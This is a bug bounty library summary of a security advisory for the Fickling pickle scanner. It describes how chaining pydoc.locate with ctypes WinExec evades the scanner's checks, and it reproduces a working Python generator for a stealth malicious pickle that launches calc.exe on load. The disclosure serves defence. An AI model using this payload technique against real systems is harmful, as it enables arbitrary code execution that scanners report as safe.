# Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection

Fickling's pickle scanner didn't block pydoc.locate or ctypes, so a crafted pickle chains them to call WinExec and achieve RCE while reporting LIKELY_SAFE.

- Payout: Research
- Severity: high
- Program: Fickling
- Found by: 0x-Apollyon
- Disclosed: 2026-01-09
- CVE: CVE-2026-22608
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-5hvc-6wx8-mvv4
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-5hvc-6wx8-mvv4
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:python technique:chained technique:source-review vuln:deserialization vuln:misconfiguration vuln:rce

**Target:** Python pickle static analyzer (fickling)
**Root cause:** The unsafe-import denylist omitted pydoc and ctypes, so pydoc.locate could resolve ctypes.windll.kernel32.WinExec and invoke it without the scanner flagging anything.
**Steps:**
1. Craft pickle with `GLOBAL pydoc\nlocate\n` + `STRING 'ctypes.windll.kernel32.WinExec'` + `TUPLE1 REDUCE` to resolve the function.
2. Store result in memo var 0, POP, then GET var 0 and push `C\x08calc.exe` and `BININT 1`, `TUPLE2 REDUCE` to call WinExec.
3. Wrap result in a `builtins.Exception` instance via `EMPTY_DICT` + `SETITEM` + `BUILD` to defeat the unused-variable check.
4. Run fickling on the file; it reports LIKELY_SAFE while the pickle executes calc.exe on load.
**How found:** Noticed that pydoc and ctypes were absent from fickling's unsafe-import list (and that picklescan also misses pydoc.locate), then hypothesized that chaining pydoc.locate to resolve a ctypes function would give code execution while staying under the scanner's radar; used an Exception object to satisfy the unused-variable check.
**Exploitation:** A victim who unpickles the file triggers pydoc.locate to resolve ctypes.windll.kernel32.WinExec, then calls it with (b'calc.exe', 1), executing an arbitrary command on Windows. The Exception.__setstate__ trick keeps the scanner's dataflow analysis from flagging the call result as unused.
**Insight:** When auditing pickle scanners, look for benign-looking reflection modules (pydoc.locate, importlib, getattr) that can resolve dangerous callables at runtime; also check whether the scanner's unused-variable/dataflow heuristics can be satisfied by attaching results to benign objects like Exception.__setstate__.

## Proof of concept (copied exactly from the original report)

**Pickle payload generator chaining pydoc.locate and ctypes WinExec**

```
import os

GLOBAL      = b'c'
STRING      = b'S'
BININT      = b'K'
TUPLE1      = b'\x85'
TUPLE2      = b'\x86'
EMPTY_TUPLE = b')'
REDUCE      = b'R'
PUT         = b'p'
GET         = b'g'
POP         = b'0'
EMPTY_DICT  = b'}'
SETITEM     = b's'
BUILD       = b'b'
STOP        = b'.'

def generate_stealth_payload():
    payload = b""

    payload += GLOBAL + b"pydoc\nlocate\n"
    payload += STRING + b"'ctypes.windll.kernel32.WinExec'\n"
    payload += TUPLE1 + REDUCE
    payload += PUT + b"0\n" # Var 0 = <_FuncPtr WinExec>
    payload += POP

    payload += GET + b"0\n" 
    payload += b"C" + b"\x08" + b"calc.exe" 
    payload += BININT + b"\x01"             
    payload += TUPLE2 + REDUCE
    payload += PUT + b"1\n" # Var 1 = Execution Result
    payload += POP

    payload += GLOBAL + b"builtins\nException\n"
    payload += EMPTY_TUPLE + REDUCE
    payload += PUT + b"2\n" # Var 2 = Exception instance

    payload += EMPTY_DICT
    payload += STRING + b"'rce_status'\n"
    payload += GET + b"1\n"
    payload += SETITEM      # { 'rce_status': result }
    
    payload += BUILD 
    
    payload += STOP
    return payload

data = generate_stealth_payload()
with open("stealth_ctypes.pkl", "wb") as f:
    f.write(data)
    
print("Generated 'stealth_ctypes.pkl'")
```

